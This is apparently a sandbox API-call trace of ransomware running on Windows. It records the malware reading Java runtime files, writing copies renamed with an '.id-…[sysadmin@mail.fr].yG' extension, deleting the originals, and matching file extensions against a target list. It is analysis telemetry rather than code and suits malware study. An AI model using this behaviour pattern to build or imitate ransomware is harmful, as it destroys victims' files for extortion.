	[0146.388] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0146.681] GetLastError () returned 0x0
	[0146.681] ReadFile (in: hFile=0x52c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x4e8d, lpOverlapped=0x0) returned 1
	[0146.689] WriteFile (in: hFile=0x518, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x4e90, lpOverlapped=0x0) returned 1
	[0146.691] ReadFile (in: hFile=0x52c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0146.691] WriteFile (in: hFile=0x518, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xea, lpOverlapped=0x0) returned 1
	[0146.691] SetEndOfFile (hFile=0x518) returned 1
	[0146.691] CloseHandle (hObject=0x518) returned 1
	[0146.695] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.696] SetEndOfFile (hFile=0x52c) returned 1
	[0146.699] CloseHandle (hObject=0x52c) returned 1
	[0146.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0146.700] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 1
	[0146.700] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0146.701] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0146.701] lstrlenW (lpString=".doc") returned 4
	[0146.701] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1
	[0146.701] lstrlenW (lpString=".docx") returned 5
	[0146.701] lstrcmpiW (lpString1=".docx", lpString2="t.jfc") returned -1
	[0146.701] lstrlenW (lpString=".pdf") returned 4
	[0146.701] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1
	[0146.701] lstrlenW (lpString=".xls") returned 4
	[0146.701] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1
	[0146.701] lstrlenW (lpString=".xlsx") returned 5
	[0146.701] lstrcmpiW (lpString1=".xlsx", lpString2="t.jfc") returned -1
	[0146.701] lstrlenW (lpString=".ppt") returned 4
	[0146.701] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1
	[0146.701] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0146.701] lstrlenW (lpString=".zip") returned 4
	[0146.701] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1
	[0146.701] lstrlenW (lpString=".rar") returned 4
	[0146.701] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1
	[0146.701] lstrlenW (lpString=".bz2") returned 4
	[0146.701] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1
	[0146.701] lstrlenW (lpString=".7z") returned 3
	[0146.701] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1
	[0146.701] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0146.701] lstrlenW (lpString=".dbf") returned 4
	[0146.701] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1
	[0146.701] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0146.701] lstrlenW (lpString=".1cd") returned 4
	[0146.701] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1
	[0146.701] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0146.701] lstrlenW (lpString=".jpg") returned 4
	[0146.701] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1
	[0146.701] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0146.701] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0146.701] lstrlenW (lpString=".doc") returned 4
	[0146.702] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1
	[0146.702] lstrlenW (lpString=".docx") returned 5
	[0146.702] lstrcmpiW (lpString1=".docx", lpString2="t.jfc") returned -1
	[0146.702] lstrlenW (lpString=".pdf") returned 4
	[0146.702] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1
	[0146.702] lstrlenW (lpString=".xls") returned 4
	[0146.702] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1
	[0146.702] lstrlenW (lpString=".xlsx") returned 5
	[0146.702] lstrcmpiW (lpString1=".xlsx", lpString2="t.jfc") returned -1
	[0146.702] lstrlenW (lpString=".ppt") returned 4
	[0146.702] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1
	[0146.702] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0146.702] lstrlenW (lpString=".zip") returned 4
	[0146.702] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1
	[0146.702] lstrlenW (lpString=".rar") returned 4
	[0146.702] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1
	[0146.702] lstrlenW (lpString=".bz2") returned 4
	[0146.702] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1
	[0146.702] lstrlenW (lpString=".7z") returned 3
	[0146.702] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1
	[0146.702] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0146.702] lstrlenW (lpString=".dbf") returned 4
	[0146.702] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1
	[0146.702] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0146.702] lstrlenW (lpString=".1cd") returned 4
	[0146.702] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1
	[0146.702] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0146.702] lstrlenW (lpString=".jpg") returned 4
	[0146.702] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1
	[0146.702] lstrcmpiW (lpString1=".properties", lpString2=".yG") returned -1
	[0146.702] lstrlenW (lpString="logging.properties") returned 18
	[0146.702] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0146.703] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=2455) returned 1
	[0146.703] CloseHandle (hObject=0x52c) returned 1
	[0146.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 0x20
	[0146.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0146.703] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0146.892] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.892] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.892] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0146.901] GetLastError () returned 0x0
	[0146.902] ReadFile (in: hFile=0x518, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x997, lpOverlapped=0x0) returned 1
	[0146.939] WriteFile (in: hFile=0x540, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x9a0, lpOverlapped=0x0) returned 1
	[0146.940] ReadFile (in: hFile=0x518, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0146.940] WriteFile (in: hFile=0x540, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0146.940] SetEndOfFile (hFile=0x540) returned 1
	[0146.940] CloseHandle (hObject=0x540) returned 1
	[0146.941] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.941] SetEndOfFile (hFile=0x518) returned 1
	[0146.944] CloseHandle (hObject=0x518) returned 1
	[0146.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0146.944] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 1
	[0146.945] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0146.945] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0146.945] lstrlenW (lpString=".doc") returned 4
	[0146.945] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0146.945] lstrlenW (lpString=".docx") returned 5
	[0146.945] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0146.945] lstrlenW (lpString=".pdf") returned 4
	[0146.945] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0146.945] lstrlenW (lpString=".xls") returned 4
	[0146.945] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0146.945] lstrlenW (lpString=".xlsx") returned 5
	[0146.945] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0146.945] lstrlenW (lpString=".ppt") returned 4
	[0146.945] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0146.946] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0146.946] lstrlenW (lpString=".zip") returned 4
	[0146.946] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0146.946] lstrlenW (lpString=".rar") returned 4
	[0146.946] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0146.946] lstrlenW (lpString=".bz2") returned 4
	[0146.946] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0146.946] lstrlenW (lpString=".7z") returned 3
	[0146.946] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0146.946] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0146.946] lstrlenW (lpString=".dbf") returned 4
	[0146.946] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0146.946] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0146.946] lstrlenW (lpString=".1cd") returned 4
	[0146.946] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0146.946] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0146.946] lstrlenW (lpString=".jpg") returned 4
	[0146.946] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0146.946] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0146.946] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0146.946] lstrlenW (lpString=".doc") returned 4
	[0146.946] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0146.946] lstrlenW (lpString=".docx") returned 5
	[0146.946] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0146.946] lstrlenW (lpString=".pdf") returned 4
	[0146.946] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0146.946] lstrlenW (lpString=".xls") returned 4
	[0146.947] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0146.947] lstrlenW (lpString=".xlsx") returned 5
	[0146.947] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0146.947] lstrlenW (lpString=".ppt") returned 4
	[0146.947] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0146.947] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0146.947] lstrlenW (lpString=".zip") returned 4
	[0146.947] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0146.947] lstrlenW (lpString=".rar") returned 4
	[0146.947] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0146.947] lstrlenW (lpString=".bz2") returned 4
	[0146.947] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0146.947] lstrlenW (lpString=".7z") returned 3
	[0146.947] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0146.947] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0146.947] lstrlenW (lpString=".dbf") returned 4
	[0146.947] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0146.947] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0146.947] lstrlenW (lpString=".1cd") returned 4
	[0146.947] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0146.947] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0146.947] lstrlenW (lpString=".jpg") returned 4
	[0146.947] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0146.948] lstrcmpiW (lpString1=".template", lpString2=".yG") returned -1
	[0146.948] lstrlenW (lpString="jmxremote.password.template") returned 27
	[0146.948] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0146.949] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=2856) returned 1
	[0146.949] CloseHandle (hObject=0x518) returned 1
	[0146.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 0x20
	[0146.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0146.949] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0146.949] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.949] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.949] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0146.951] GetLastError () returned 0x0
	[0146.951] ReadFile (in: hFile=0x518, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0xb28, lpOverlapped=0x0) returned 1
	[0146.965] WriteFile (in: hFile=0x540, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xb30, lpOverlapped=0x0) returned 1
	[0146.966] ReadFile (in: hFile=0x518, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0146.967] WriteFile (in: hFile=0x540, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x10a, lpOverlapped=0x0) returned 1
	[0146.967] SetEndOfFile (hFile=0x540) returned 1
	[0146.967] CloseHandle (hObject=0x540) returned 1
	[0146.967] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.967] SetEndOfFile (hFile=0x518) returned 1
	[0146.972] CloseHandle (hObject=0x518) returned 1
	[0146.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0146.976] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 1
	[0146.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0146.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0146.977] lstrlenW (lpString=".doc") returned 4
	[0146.977] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1
	[0146.977] lstrlenW (lpString=".docx") returned 5
	[0146.978] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1
	[0146.978] lstrlenW (lpString=".pdf") returned 4
	[0146.978] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1
	[0146.978] lstrlenW (lpString=".xls") returned 4
	[0146.978] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1
	[0146.978] lstrlenW (lpString=".xlsx") returned 5
	[0146.978] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1
	[0146.978] lstrlenW (lpString=".ppt") returned 4
	[0146.978] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1
	[0146.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0146.978] lstrlenW (lpString=".zip") returned 4
	[0146.978] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1
	[0146.978] lstrlenW (lpString=".rar") returned 4
	[0146.978] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1
	[0146.978] lstrlenW (lpString=".bz2") returned 4
	[0146.979] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1
	[0146.979] lstrlenW (lpString=".7z") returned 3
	[0146.979] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1
	[0146.979] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0146.979] lstrlenW (lpString=".dbf") returned 4
	[0146.979] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1
	[0146.979] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0146.979] lstrlenW (lpString=".1cd") returned 4
	[0146.979] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1
	[0146.979] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0146.979] lstrlenW (lpString=".jpg") returned 4
	[0146.979] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1
	[0146.979] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0146.980] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0146.980] lstrlenW (lpString=".doc") returned 4
	[0146.980] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1
	[0146.980] lstrlenW (lpString=".docx") returned 5
	[0146.980] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1
	[0146.980] lstrlenW (lpString=".pdf") returned 4
	[0146.980] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1
	[0146.980] lstrlenW (lpString=".xls") returned 4
	[0146.980] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1
	[0146.980] lstrlenW (lpString=".xlsx") returned 5
	[0146.980] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1
	[0146.980] lstrlenW (lpString=".ppt") returned 4
	[0146.980] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1
	[0146.980] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0146.980] lstrlenW (lpString=".zip") returned 4
	[0146.980] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1
	[0146.980] lstrlenW (lpString=".rar") returned 4
	[0146.980] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1
	[0146.981] lstrlenW (lpString=".bz2") returned 4
	[0146.981] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1
	[0146.981] lstrlenW (lpString=".7z") returned 3
	[0146.981] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1
	[0146.981] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0146.981] lstrlenW (lpString=".dbf") returned 4
	[0146.981] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1
	[0146.981] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0146.981] lstrlenW (lpString=".1cd") returned 4
	[0146.981] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1
	[0146.981] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0146.981] lstrlenW (lpString=".jpg") returned 4
	[0146.981] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1
	[0146.981] lstrcmpiW (lpString1=".properties", lpString2=".yG") returned -1
	[0146.981] lstrlenW (lpString="management.properties") returned 21
	[0146.982] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0146.982] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=14630) returned 1
	[0146.982] CloseHandle (hObject=0x518) returned 1
	[0146.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 0x20
	[0146.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0146.983] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0146.983] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.983] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.984] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0147.288] GetLastError () returned 0x0
	[0147.288] ReadFile (in: hFile=0x518, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x3926, lpOverlapped=0x0) returned 1
	[0147.290] WriteFile (in: hFile=0x540, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x3930, lpOverlapped=0x0) returned 1
